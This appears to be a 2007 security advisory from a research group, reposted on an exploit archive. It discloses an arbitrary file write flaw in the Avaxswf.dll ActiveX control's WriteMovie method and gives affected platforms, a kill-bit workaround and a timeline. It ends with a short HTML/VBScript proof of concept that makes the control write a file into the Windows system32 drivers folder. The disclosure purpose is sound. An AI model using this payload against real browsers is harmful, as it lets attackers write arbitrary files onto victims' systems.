Avaxswf.dll 1.0.0.1 from Avax Vector ActiveX Arbitrary Data Write

                                                :. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:

Avaxswf.dll v.1.0.0.1 from Avax Vector software ActiveX Arbitrary Data Write
============================================================================

Internal ID: VULWAR200706264.

Introduction
------------
Avaxswf.dll is a library included in the Avax Vector ActiveX v.1.3 software
package from the Company Civitech. 
( http://business.hol.gr/gardos/index.htm )
Such package include ActiveX control (OCX) that includes over 500 properties,
methods, and events to provide full control over vector drawings.
One of the Avaxswf.dll exported methods is vulnerable to Data write arbitrary 
in a remote computer.


Tested In
---------
- Windows XP SP2 english/french with IE 6.0 / 7.0.
- windows vista Professional SP1 with IE 7.0.


Summary
-------
The WriteMovie method doesn't check if it is being called from the application
or from a malicious user.


Impact
------
The vulnerability is due to an error in WriteMovie method that manipulate
local files insecurely, which could allow malicious users to write arbitrary
data to any file on a vulnerable system.


Workaround
----------
- Activate the Kill bit zero in clsid:0DD77391-686B-11D4-B367-D4475FDFF33A.
- Unregister Avaxswf.dll using regsvr32.


Timeline
--------
June 26, 2007 -- Bug discovery.
June 26, 2007 -- Bug published.


Credits
-------
 * callAX <[email protected]>
 * GoodFellas Security Research Team <goodfellas.shellcode.com.ar>



Technical Detail
----------------
WriteMovie method receives one argument filename in this format "c:\path\file".

POC
---

<object classid='clsid:0DD77391-686B-11D4-B367-D4475FDFF33A' id='wRit3'></object>
<input language=VBScript onclick=Boom() type=button value="Write">

<script language = 'vbscript'>

sub Boom() 

   f1l3 = "C:\WINDOWS\system32\drivers\hackme.sys"

   wRit3.WriteMovie f1l3

 End Sub

</script>

# milw0rm.com [2007-06-26]